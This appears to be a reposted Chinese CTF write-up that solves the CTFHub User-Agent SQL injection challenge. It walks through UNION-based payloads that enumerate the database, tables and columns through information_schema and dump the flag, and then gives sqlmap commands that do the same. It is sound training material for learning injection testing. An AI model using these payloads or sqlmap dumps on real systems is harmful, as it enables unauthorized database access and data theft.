欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 新车 > CTFHUB技能树之SQL——UA注入

CTFHUB技能树之SQL——UA注入

2024/10/23 23:29:11 来源:https://blog.csdn.net/weixin_73049307/article/details/143062066  浏览:    关键词:CTFHUB技能树之SQL——UA注入

开启靶场,打开链接:

上来就是User-Agent报文头,说明是根据UA头的内容来进行查询的


用burp抓包发送到repeater中:

先判断是整数型注入还是字符型注入:

1 and 1=1#

正常回显

1 and 1=2#

回显错误,说明是整数型注入


(1)判断一下字段数

1 order by 2#

正常回显

1 order by 3#

回显错误,说明字段数是2


(2)查看数据库位置

1 union select 1,2#

看样子可能不在数据库中,老样子,改成-1 union select 1,2#

回显成功


(3)爆数据库名

-1 union select 1,database()#

得知数据库名是sqli


(4)爆表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

得知pffuearwed表和news表


(5)爆列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='pffuearwed'#

得知wdgoyxkhto列


(6)爆字段内容(flag)

-1 union select 1,group_concat(wdgoyxkhto) from sqli.pffuearwed#

成功得到flag:

ctfhub{2150a4e46775de6e0cbbcd0d}


用sqlmap试试:

python sqlmap.py -u "http://challenge-6dd6d0a2bde91c4c.sandbox.ctfhub.com:10800/" --level 3 --dbs

(这里因为是UA注入,所以需要将level调成3以上)


python sqlmap.py -u "http://challenge-6dd6d0a2bde91c4c.sandbox.ctfhub.com:10800/" -D sqli --level 3 --tables


python sqlmap.py -u "http://challenge-6dd6d0a2bde91c4c.sandbox.ctfhub.com:10800/" -D sqli -T pffuearwed --level 3 --dump

成功得到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com